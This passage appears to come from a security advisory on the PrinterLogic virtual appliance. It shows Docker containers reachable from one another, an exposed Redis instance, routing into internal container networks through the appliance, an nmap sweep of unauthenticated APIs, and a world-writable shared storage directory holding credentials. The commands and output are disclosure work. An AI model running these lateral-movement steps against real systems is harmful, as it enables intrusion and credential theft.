a842502dcc97 printerlogic/cat:1.0.58 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 9229/tcp printercloud_cat.a6zgwxfp4n2v4tdi8u7b40shy.fgp2p5wo56hg4sanjmirpoyzl
022c2a2201b4 printerlogic/hive:1.1.30 "/opt/entrypoint.sh" 5 days ago Up About an hour cicd_hive_1
root@printerlogic:~#
By default, there are no firewall rules between Docker instances, allowing an attacker to compromise an instance to attack other instances (lateral movements
).
For example, it is possible to reach a Docker instance providing PHP webpages from another instance.
HTTP requests inside the 172.17.130.0/24
network:
bash-5.0# curl -kv http://172.17.130.40/index.php
* Uses proxy env variable no_proxy == 'fake-host,localhost,*.local,*.printercloud,*.overlay,127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16'
* Trying 172.17.130.40:80...
* TCP_NODELAY set
* Connected to 172.17.130.40 (172.17.130.40) port 80 (#0)
> GET /index.php HTTP/1.1
> Host: 172.17.130.40
> User-Agent: curl/7.66.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Cache-Control: no-cache, private
< Date: Wed, 26 Jan 2022 04:59:37 GMT
* Added cookie XSRF-TOKEN="eyJpdiI6Ijg3VVVyUzNiQ0dDblVmR3ZGWFRSSFE9PSIsInZhbHVlIjoiWVhaYzFSMExUUmI0bU9yeHoxRmhjQzJ6UFhPYVFSbllvdE9jQmRLbWhkRWFIdWt3b2puc2lRSVRpVnVuTXJ1KyIsIm1hYyI6IjFkMTk3NWRhMzgwNDViOTU1OTczMjJhNTRiMDUwMDFiMWMwNWU1NzlhZTUwNmExNDk1YTJiMTJkNjY5ZjFmOTgifQ%3D%3D" for domain 172.17.130.40, path /, expire 1643180377
< Set-Cookie: XSRF-TOKEN=eyJpdiI6Ijg3VVVyUzNiQ0dDblVmR3ZGWFRSSFE9PSIsInZhbHVlIjoiWVhaYzFSMExUUmI0bU9yeHoxRmhjQzJ6UFhPYVFSbllvdE9jQmRLbWhkRWFIdWt3b2puc2lRSVRpVnVuTXJ1KyIsIm1hYyI6IjFkMTk3NWRhMzgwNDViOTU1OTczMjJhNTRiMDUwMDFiMWMwNWU1NzlhZTUwNmExNDk1YTJiMTJkNjY5ZjFmOTgifQ%3D%3D; expires=Wed, 26-Jan-2022 06:59:37 GMT; Max-Age=7200; path=/
<
* Connection #0 to host 172.17.130.40 left intact
The Redis instance is directly reachable from this internal network - this allows an attacker to compromise the Redis instance from any Docker instance:
printerlogic:~# docker ps|grep redis
1d856b21e63d redis:5-alpine "docker-entrypoint.sh" About an hour ago Up About an hour (healthy) 6379/tcp storage_redis.1.zachure4n159uah7xsu3ixau6
root@printerlogic:~# docker inspect 1d856b21e63d|grep 172
"SandboxID": "3aa3895b4d208b6e938c5e11729dfc07522858896f2cd91b1666b51f7b6d8811",
"IPv4Address": "172.17.130.35"
"IPAddress": "172.17.130.35",
root@printerlogic:~#
From printerlogic/scd:1.0.70
, there is a full access to the redis instance.
bash-5.0# nc 172.17.130.21 6379
HELO
-ERR unknown command `HELO`, with args beginning with:
All the Docker instances have access to the redis instance, meaning it is possible from any docker instance to execute commands on the Redis instance using master/slave replication (https://www.rapid7.com/db/modules/exploit/linux/redis/redis_replication_cmd_exec/).
An attacker compromising a Docker instance can use lateral movement to compromise other Docker instances. Compromising the Redis instance is trivial.
An attacker with a machine located on the same network segment (layer 2) can add a route to the IPs of Docker instances using the external IP of the solution as a gateway. He will then be able to reach internal services running inside Docker instances - PrinterLogic will act as a network gateway, providing access to the internal Docker instances.
Proof of Concept:
On the machine running PrinterLogic VA, the docker instance printerlogic/ebc
uses 2 IPs (172.17.130.74
and 172.17.0.156
):
Configuration of printerlogic/ebc
:
root@printerlogic:/var/lib/docker/overlay2# docker ps | grep printerlogic/ebc:1.0.34
d61d429548aa printerlogic/ebc:1.0.34 "/var/www/app/.docke" 3 hours ago Up 3 hours (healthy) 80/tcp, 9229/tcp printercloud_ebc.1.iat3at5k4neth8k016wz5cjq3
root@printerlogic:/var/lib/docker/overlay2# docker exec -it d61d429548aa /bin/bash
bash-5.0# ifconfig
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:82:4A
inet addr:172.17.130.74 Bcast:172.17.131.255 Mask:255.255.254.0
UP BROADCAST RUNNING MULTICAST MTU:1424 Metric:1
RX packets:76 errors:0 dropped:0 overruns:0 frame:0
TX packets:39 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:7533 (7.3 KiB) TX bytes:4160 (4.0 KiB)
eth1 Link encap:Ethernet HWaddr 02:42:AC:11:00:9C
inet addr:172.17.0.156 Bcast:172.17.0.255 Mask:255.255.255.128
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:124 errors:0 dropped:0 overruns:0 frame:0
TX packets:86 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:8599 (8.3 KiB) TX bytes:36949 (36.0 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:9376 errors:0 dropped:0 overruns:0 frame:0
TX packets:9376 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1319224 (1.2 MiB) TX bytes:1319224 (1.2 MiB)
bash-5.0#
From the attacker machine, it is required to add routes to internal IP of Docker instances, using the IP of the PrinterLogic server as a gateway (10.105.0.241).
Adding a route to rach a Docker instance:
kali# route add -host 172.17.0.156 gw 10.105.0.241
kali# traceroute -nI 172.17.0.156
traceroute to 172.17.0.156 (172.17.0.156), 30 hops max, 60 byte packets
1 10.105.0.241 0.269 ms 0.259 ms 0.259 ms
2 172.17.0.156 0.441 ms 0.459 ms 0.460 ms
It is now possible to interact with the internal webserver running on the Docker instance with the IP 172.16.0.156 (printerlogic/ebb
):
kali% curl -kv http://172.17.0.156/
* Trying 172.17.0.156:80...
* Connected to 172.17.0.156 (172.17.0.156) port 80 (#0)
> GET / HTTP/1.1
> Host: 172.17.0.156
> User-Agent: curl/7.79.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests
* Connection #0 to host 172.17.0.156 left intact
Found. Redirecting to /api-docs
%
We have a full access to the internal webserver running inside a Docker instance
By default, the docker_gwbridge
network will be reachable from the WAN. This network is used by the Docker instances to get connectivity:
Docker network configuration:
root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# docker network ls
NETWORK ID NAME DRIVER SCOPE
7a0cd0d79106 bridge bridge local
a0f7589c4c27 cicd_default bridge local
yyeicsrfgvdj config_default overlay swarm
7d70cb612a96 docker_gwbridge bridge local
e500f5cc9286 host host local
g13ns8jd9aw9 ingress overlay swarm
22493bb20f06 none null local
03r08ptuv9li printercloud overlay swarm
19d8681ed357 secrets_default bridge local
tke7a3glgyqe storage_default overlay swarm
root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# docker network inspect docker_gwbridge | grep 172
"Subnet": "172.17.0.128/25",
"Gateway": "172.17.0.129"
"IPv4Address": "172.17.0.169/25",
"IPv4Address": "172.17.0.145/25",
"IPv4Address": "172.17.0.134/25",
"IPv4Address": "172.17.0.136/25",
We can add routes for the entire 172.17.0.0/16 IP range:
kali# route add -net 172.17.0.0/16 gw 10.105.0.241
An attacker scanning the first /24 IP range will detect 29 open HTTP servers.
Full access to all the internal webserver providing APIs without authentication:
kali% nmap -sT -p 80 -v -Pn -n -sV 172.17.0.0/24
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-08 04:37 EST
NSE: Loaded 45 scripts for scanning.
Initiating Connect Scan at 04:37
Scanning 256 hosts [1 port/host]
Discovered open port 80/tcp on 172.17.0.1
Discovered open port 80/tcp on 172.17.0.135
Discovered open port 80/tcp on 172.17.0.138
Discovered open port 80/tcp on 172.17.0.141
Discovered open port 80/tcp on 172.17.0.142
Discovered open port 80/tcp on 172.17.0.129
Discovered open port 80/tcp on 172.17.0.143
Discovered open port 80/tcp on 172.17.0.146
Discovered open port 80/tcp on 172.17.0.147
Discovered open port 80/tcp on 172.17.0.149
Discovered open port 80/tcp on 172.17.0.151
Discovered open port 80/tcp on 172.17.0.152
Discovered open port 80/tcp on 172.17.0.155
Discovered open port 80/tcp on 172.17.0.156
Discovered open port 80/tcp on 172.17.0.157
Discovered open port 80/tcp on 172.17.0.159
Discovered open port 80/tcp on 172.17.0.160
Discovered open port 80/tcp on 172.17.0.161
Discovered open port 80/tcp on 172.17.0.162
Discovered open port 80/tcp on 172.17.0.163
Discovered open port 80/tcp on 172.17.0.164
Discovered open port 80/tcp on 172.17.0.165
Discovered open port 80/tcp on 172.17.0.166
Discovered open port 80/tcp on 172.17.0.167
Discovered open port 80/tcp on 172.17.0.168
Discovered open port 80/tcp on 172.17.0.169
Discovered open port 80/tcp on 172.17.0.130
Discovered open port 80/tcp on 172.17.0.140
Discovered open port 80/tcp on 172.17.0.144
When these webservers are accessed through a browser, it appears there are internal webservers providing APIs. The attacker will have a full access to these servers without authentication.
Full access to all the internal webserver providing APIs, without authentication
Full access to all the internal webserver providing APIs, without authentication
Full access to all the internal webserver providing APIs, without authentication
An attacker located on the same network segment can reach internal services and bypass the entire security of the solution.
The attack surface is very large because of the exposure of the internal Docker instances.
For example, an attacker reaching the previous Redis instance will achieve a Remote Code Execution against the appliance.
The directory /var/www/efs_storage
contains all the configuration files of the appliance. A read/write access to this directory will allow an attacker to compromise the appliance.
It appears the Docker instances have access to /var/www/efs_storage
, as shown below.
Docker instances with access to /var/www/efs_storage
:
16178d2bccb2 printerlogic/va-api:1.1.4 "/opt/entrypoint.sh" 4 hours ago Up 4 hours (healthy) 80/tcp printercloud-appliance_va-api.1.fwacyv7l7gqxqrtwox45kvp1i
"Source": "/var/www/efs_storage",
"Target": "/var/www/efs_storage"
"Source": "/var/www/efs_storage",
"Destination": "/var/www/efs_storage",
"APPLIANCE_STORAGE_TARGET=/var/www/efs_storage",
"SHARED_STORAGE=/var/www/efs_storage",
9f72609937de printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-seeder.1.tbniqiidu8vtqpjtxjwh8oxsm
"Source": "/var/www/efs_storage/pi/cache",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/storage",
"Source": "/var/www/efs_storage/pi/storage/api",
"Source": "/var/www/efs_storage/pi/storage/app",
"Source": "/var/www/efs_storage/pi/storage/framework/sessions",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/cache",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/storage",
"Source": "/var/www/efs_storage/pi/storage/api",
"Source": "/var/www/efs_storage/pi/storage/app",
"Source": "/var/www/efs_storage/pi/storage/framework/sessions",
"Source": "/var/www/efs_storage/null",
"SHARED_STORAGE=/var/www/efs_storage",
a393b51c084e printerlogic/authn:1.0.257 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_authn.1.jx70uxweg3iown085yiuis4j6
"SHARED_STORAGE=/var/www/efs_storage",
7a508d3d8623 printerlogic/oncp-hold:v1.0.31 "./cloud-print-job-h" 4 hours ago Up 4 hours (healthy) 80/tcp printercloud_oncp-hold.1.u3ac7ousxjn4ff5kkcvwgf9n4
"SHARED_STORAGE=/var/www/efs_storage",
69e727ce5901 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_pi.1.nk5ouy3a7jwid082dhzl0mix5
"Source": "/var/www/efs_storage/pi/cache",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/storage",
"Source": "/var/www/efs_storage/pi/storage/api",
"Source": "/var/www/efs_storage/pi/storage/app",
"Source": "/var/www/efs_storage/pi/storage/framework/sessions",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/storage",
"Source": "/var/www/efs_storage/pi/storage/app",
"Source": "/var/www/efs_storage/pi/storage/framework/sessions",
"Source": "/var/www/efs_storage/pi/cache",
"Source": "/var/www/efs_storage/pi/storage/api",
"SHARED_STORAGE=/var/www/efs_storage",
d4a0594b6121 printerlogic/ebc:1.0.34 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 9229/tcp printercloud_ebc.1.1e4rjf6mzq9t53swqdgxgfnwu
"SHARED_STORAGE=/var/www/efs_storage",
ed12cf7e4428 printerlogic/oncp-reg:1.0.15 "/opt/entrypoint.sh " 4 hours ago Up 4 hours (healthy) printercloud_oncp-reg.1.y5dmk4y84g6rjyrt4t53syutz
"SHARED_STORAGE=/var/www/efs_storage",
0ee9b6a63f59 printerlogic/idpi:1.0.6 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_idpi.1.35xxr3pqef00ivcn2no6y90rr
"SHARED_STORAGE=/var/www/efs_storage",
6092ba3e4189 printerlogic/oncp-pgw:v1.0.21 "./cloud-print-print" 4 hours ago Up 4 hours (healthy) 80-81/tcp printercloud_oncp-pgw.1.x9j0c6o7ydf0ehb2pmwxb70fj
"SHARED_STORAGE=/var/www/efs_storage",
11146de0ed76 dperson/samba:latest "/sbin/tini -- /opt/" 4 hours ago Up 4 hours (healthy) 139/tcp, 137-138/udp, 445/tcp config_samba.1.dfwyt1m90ab30k75fogxhcxcz
"Source": "/var/www/efs_storage",
"Source": "/var/www/efs_storage",
7d39399f459a printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-reports.1.es8sfg9p6zya8r8396izh5z1i
"Source": "/var/www/efs_storage/pi/cache",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/storage",
"Source": "/var/www/efs_storage/pi/storage/api",
"Source": "/var/www/efs_storage/pi/storage/app",
"Source": "/var/www/efs_storage/pi/storage/framework/sessions",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/storage/app",
"Source": "/var/www/efs_storage/pi/storage/framework/sessions",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/cache",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/storage",
"Source": "/var/www/efs_storage/pi/storage/api",
"SHARED_STORAGE=/var/www/efs_storage",
bb96b17d45b8 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-snmp.1.ttxndt3y7brnkw95vxluhht7l
"Source": "/var/www/efs_storage/pi/cache",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/storage",
"Source": "/var/www/efs_storage/pi/storage/api",
"Source": "/var/www/efs_storage/pi/storage/app",
"Source": "/var/www/efs_storage/pi/storage/framework/sessions",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/storage",
"Source": "/var/www/efs_storage/pi/storage/api",
"Source": "/var/www/efs_storage/pi/storage/app",
"Source": "/var/www/efs_storage/pi/storage/framework/sessions",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/cache",
"Source": "/var/www/efs_storage/null",
"SHARED_STORAGE=/var/www/efs_storage",
f784e1b43237 printerlogic/qms:1.0.124 "/opt/entrypoint.sh " 4 hours ago Up 4 hours (healthy) printercloud_qms.1.ek9zr8g67vb9k0s1n9nv2s736
"SHARED_STORAGE=/var/www/efs_storage",
9ad5da8b9d25 printerlogic/sched:1.0.18 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000/tcp printercloud-appliance_worker-scheduler.1.sy93cqxhn8fjypvfg9eu78may
"SHARED_STORAGE=/var/www/efs_storage",
a2cac82b5586 printerlogic/users:5.186.1 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_users.1.zoorlq8nwkx15smt2cegigo8h
"Source": "/var/www/efs_storage/users/storage",
"Source": "/var/www/efs_storage/users/storage",
"SHARED_STORAGE=/var/www/efs_storage",
b3b7793a3e95 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-low.1.whls4vm5xshz3h44c462iwdc1
"Source": "/var/www/efs_storage/pi/cache",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/storage",
"Source": "/var/www/efs_storage/pi/storage/api",
"Source": "/var/www/efs_storage/pi/storage/app",
"Source": "/var/www/efs_storage/pi/storage/framework/sessions",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/cache",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/storage",
"Source": "/var/www/efs_storage/pi/storage/api",
"Source": "/var/www/efs_storage/pi/storage/app",
"Source": "/var/www/efs_storage/pi/storage/framework/sessions",
"Source": "/var/www/efs_storage/null",
"SHARED_STORAGE=/var/www/efs_storage",
77c42d53c3b2 mysql:8.0.26 "docker-entrypoint.s" 4 hours ago Up 4 hours (healthy) 3306/tcp, 33060/tcp storage_mysql.1.ff8nbsv250u5d3vqk9r62ripe
"Source": "/var/www/efs_storage/mysql",
"Source": "/var/www/efs_storage/exodus",
"Source": "/var/www/efs_storage/mysql",
"Source": "/var/www/efs_storage/exodus",
b4f9ccdf92cb printerlogic/gw:1.208.5 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_gw.1.vznnoqqf3kbhcwfwkl3plzi39
"SHARED_STORAGE=/var/www/efs_storage",
ac69cca5df62 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-high.1.3cr0gdxirucwzdk2j5d0rbtja
"Source": "/var/www/efs_storage/pi/cache",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/storage",
"Source": "/var/www/efs_storage/pi/storage/api",
"Source": "/var/www/efs_storage/pi/storage/app",
"Source": "/var/www/efs_storage/pi/storage/framework/sessions",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/storage",
"Source": "/var/www/efs_storage/pi/storage/api",
"Source": "/var/www/efs_storage/pi/storage/app",
"Source": "/var/www/efs_storage/pi/storage/framework/sessions",
"Source": "/var/www/efs_storage/null",
"Source": "/var/www/efs_storage/pi/cache",
"Source": "/var/www/efs_storage/null",
"SHARED_STORAGE=/var/www/efs_storage",
f37db8c79a50 printerlogic/br:1.0.62 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp printercloud_br.1.30m12skgwj5mu3y0ypfkp319q
"SHARED_STORAGE=/var/www/efs_storage",
9098f6052c94 printerlogic/identity:v1.0.88 "/usr/local/bin/iden" 4 hours ago Up 4 hours (healthy) 80/tcp printercloud_identity.1.8x0lwby90079bojeabu8vhead
"SHARED_STORAGE=/var/www/efs_storage",
0bf820403a1a printerlogic/edw:1.0.44 "/opt/entrypoint.sh " 4 hours ago Up 4 hours (healthy) printercloud_edw.1.yt5pd4mmletn81vs3wo5dz77q
"SHARED_STORAGE=/var/www/efs_storage",
bf43c1f6503e printerlogic/users:5.186.1 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-users-queue.1.n3hbhjezaps6gwkw1nuqupdq4
"SHARED_STORAGE=/var/www/efs_storage",
bc477aaff3d7 printerlogic/oncp-ofn:v1.0.6 "off-network-app" 4 hours ago Up 4 hours (healthy) 80/tcp printercloud_oncp-ofn.1.szvk26xlr897j96p2z29hlv9p
"SHARED_STORAGE=/var/www/efs_storage",
171c014430d7 printerlogic/tree:1.0.57 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_tree.1.7n99xw0qv856wjvj3eleaflij
"SHARED_STORAGE=/var/www/efs_storage",
a7656e45349d traefik:latest "/srv/entrypoint.sh " 4 hours ago Up 4 hours 80/tcp networking_traefik.1.rjigvw3twkt4qkeldzbqbqn2u
"Source": "/var/www/efs_storage/certs",
"Source": "/var/www/efs_storage/pi/storage/certs",
"Target": "/var/www/efs_storage/pi/storage/certs",
"Source": "/var/www/efs_storage/pi/storage/certs",
"Destination": "/var/www/efs_storage/pi/storage/certs",
"Source": "/var/www/efs_storage/certs",
8ec8a6bf4555 printerlogic/scim:1.0.9 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_scim.1.okyfdbo5ct76v54eppsanw0me
"SHARED_STORAGE=/var/www/efs_storage",
e9994d5a21bf printerlogic/prs:1.0.2 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 9229/tcp printercloud_prs.1.6uuzdvqkb39u910gw9e3yupfy
"SHARED_STORAGE=/var/www/efs_storage",
5b99b9c2a4b2 printerlogic/eb:0.0.4 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 3000/tcp, 9229/tcp printercloud_eb.1.wtzjn9sdbl6wva6dy3u1y1nh5
"SHARED_STORAGE=/var/www/efs_storage",
d2e3989f4cf3 printerlogic/cpp-ui:1.80.5 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_cpp-ui.1.qhmgeshht9gip0quyhppdogv3
"SHARED_STORAGE=/var/www/efs_storage",
fce5597bbe3d printerlogic/va-cdn:0.0.435 "/docker-entrypoint." 4 hours ago Up 4 hours 80/tcp printercloud-appliance_va-cdn.1.copecxekt4rwuxfq4tynfm1a6
"SHARED_STORAGE=/var/www/efs_storage",
294dbdd973da printerlogic/scd:1.0.70 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_scd.1.3eef4r68kmkqnc5dcswa3xjhv
"Source": "/var/www/efs_storage/scd/storage",
"Source": "/var/www/efs_storage/scd/storage",
"SHARED_STORAGE=/var/www/efs_storage",
6cb464ab04b7 portainer/agent:latest "./agent" 4 hours ago Up 4 hours printercloud_portainer-agent.a6zgwxfp4n2v4tdi8u7b40shy.aoew1w8ym8p1hai6ch38dau7j
55b64c63a9f6 printerlogic/pq:5.0.124 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000/tcp printercloud_pq.1.vwp9poc8belv24mxwijeeetct
"Source": "/var/www/efs_storage/pq/storage",
"Source": "/var/www/efs_storage/pq/storage",
"SHARED_STORAGE=/var/www/efs_storage",
a7bff45e538c printerlogic/ofn:1.108.0 "off-network-app" 4 hours ago Up 4 hours (healthy) 80/tcp printercloud_ofn.1.18qn5bj4eqgpbq2d94k6hy8vx
"Source": "/var/www/efs_storage/ofn/storage",
"Source": "/var/www/efs_storage/ofn/storage",
"SHARED_STORAGE=/var/www/efs_storage",
317daac676fd printerlogic/scss:1.0.39 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 9229/tcp printercloud_scss.1.uc6fcunwy1s3hdb6di4avqlzb
"SHARED_STORAGE=/var/www/efs_storage",
6b3781947b83 printerlogic/client:25.1.0.551 "/bin/sh -c 'supervi" 4 hours ago Up 4 hours printercloud-appliance_client.1.pnbxglabahqd9prozbvbs55sc
"Source": "/var/www/efs_storage/client/ppd",
"Source": "/var/www/efs_storage/client/printers",
"Source": "/var/www/efs_storage/client/jobs",
"Source": "/var/www/efs_storage/logs/client",
"Source": "/var/www/efs_storage/client/tmp",
"Source": "/var/www/efs_storage/client/etc",
"Source": "/var/www/efs_storage/client/tmp",
"Source": "/var/www/efs_storage/client/etc",
"Source": "/var/www/efs_storage/client/ppd",
"Source": "/var/www/efs_storage/client/printers",
"Source": "/var/www/efs_storage/client/jobs",
"Source": "/var/www/efs_storage/logs/client",
1d856b21e63d redis:5-alpine "docker-entrypoint.s" 4 hours ago Up 4 hours (healthy) 6379/tcp storage_redis.1.zachure4n159uah7xsu3ixau6
a842502dcc97 printerlogic/cat:1.0.58 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 9229/tcp printercloud_cat.a6zgwxfp4n2v4tdi8u7b40shy.fgp2p5wo56hg4sanjmirpoyzl
"SHARED_STORAGE=/var/www/efs_storage",
022c2a2201b4 printerlogic/hive:1.1.30 "/opt/entrypoint.sh " 6 days ago Up 4 hours cicd_hive_1
"/var/www/efs_storage:/var/www/efs_storage:rw",
"Source": "/var/www/efs_storage",
"Destination": "/var/www/efs_storage",
"/var/www/efs_storage": {}
Testing a random docker instance will confirm there is a full access to the /var/www/efs_storage
directory. A test
directory will be created in /var/www/efs_storage
from the printerlogic/va-api
instance:
root@printerlogic:/var/www/efs_storage# docker ps|grep api 16178d2bccb2 printerlogic/va-api:1.1.4 "/opt/entrypoint.sh " 5 hours ago Up 5 hours (healthy) 80/tcp printercloud-appliance_va-api.1.fwacyv7l7gqxqrtwox45kvp1i root@printerlogic:/var/www/efs_storage# docker exec -it 16178d2bccb2 /bin/sh / # cd /var/www/efs_storage /var/www/efs_storage # ls -la total 96 drwxrwsr-x 18 xfs ping 4096 Feb 2 08:15 . drwxr-xr-x 1 root root 4096 Oct 13 16:29 .. drwxrwsr-x 6 root ping 4096 Jan 28 02:28 .hive drwxrwsr-x 2 1000 ping 4096 Jan 27 09:36 .secrets -rw-rw-r-- 1 1000 ping 56 Jan 27 10:16 .update_history drwxrwsr-x 3 root ping 4096 Jan 27 10:18 .updates drwxrwsr-x 2 xfs ping 4096 Jan 27 09:37 certs drwxrwsr-x 7 1000 ping 4096 Jan 27 09:37 client drwxrwsr-x 2 xfs ping 4096 Jan 27 09:36 exodus drwxrwsr-x 4 1000 ping 4096 Jan 27 09:37 logs drwxrwsr-x 2 root ping 16384 Jan 27 09:34 lost+found drwxrwsr-x 18 999 ping 4096 Feb 2 03:37 mysql drwxrwsr-x 2 xfs ping 4096 Jan 27 09:36 null drwxrwsr-x 3 1000 ping 4096 Jan 27 09:36 ofn drwxr-sr-x 6 root root 4096 Jan 27 10:18 pc-sys drwxrwsr-x 4 1000 ping 4096 Jan 27 09:36 pi drwxrwsr-x 3 1000 ping 4096 Jan 27 09:36 pq drwxrwsr-x 3 1000 ping 4096 Jan 27 09:36 scd -rwxrwsr-x 1 root ping 3519 Jan 27 09:36 secrets.env drwxrwsr-x 3 1000 ping 4096 Jan 27 09:36 users /var/www/efs_storage # mkdir test /var/www/efs_storage # ls -la total 100 drwxrwsr-x 19 xfs ping 4096 Feb 2 08:15 . drwxr-xr-x 1 root root 4096 Oct 13 16:29 .. drwxrwsr-x 6 root ping 4096 Jan 28 02:28 .hive drwxrwsr-x 2 1000 ping 4096 Jan 27 09:36 .secrets -rw-rw-r-- 1 1000 ping 56 Jan 27 10:16 .update_history drwxrwsr-x 3 root ping 4096 Jan 27 10:18 .updates drwxrwsr-x 2 xfs ping 4096 Jan 27 09:37 certs drwxrwsr-x 7 1000 ping 4096 Jan 27 09:37 client drwxrwsr-x 2 xfs ping 4096 Jan 27 09:36 exodus drwxrwsr-x 4 1000 ping 4096 Jan 27 09:37 logs drwxrwsr-x 2 root ping 16384 Jan 27 09:34 lost+found drwxrwsr-x 18 999 ping 4096 Feb 2 03:37 mysql drwxrwsr-x 2 xfs ping 4096 Jan 27 09:36 null drwxrwsr-x 3 1000 ping 4096 Jan 27 09:36 ofn drwxr-sr-x 6 root root 4096 Jan 27 10:18 pc-sys drwxrwsr-x 4 1000 ping 4096 Jan 27 09:36 pi drwxrwsr-x 3 1000 ping 4096 Jan 27 09:36 pq drwxrwsr-x 3 1000 ping 4096 Jan 27 09:36 scd -rwxrwsr-x 1 root ping 3519 Jan 27 09:36 secrets.env drwxrwsr-x 2 root ping 4096 Feb 2 08:15 test drwxrwsr-x 3 1000 ping 4096 Jan 27 09:36 users /var/www/efs_storage #
Furthermore, the directory /var/www/efs_storage
contains credentials used by the appliance. By default, everything is world-readable.
Listing of /var/www/efs_storage
:
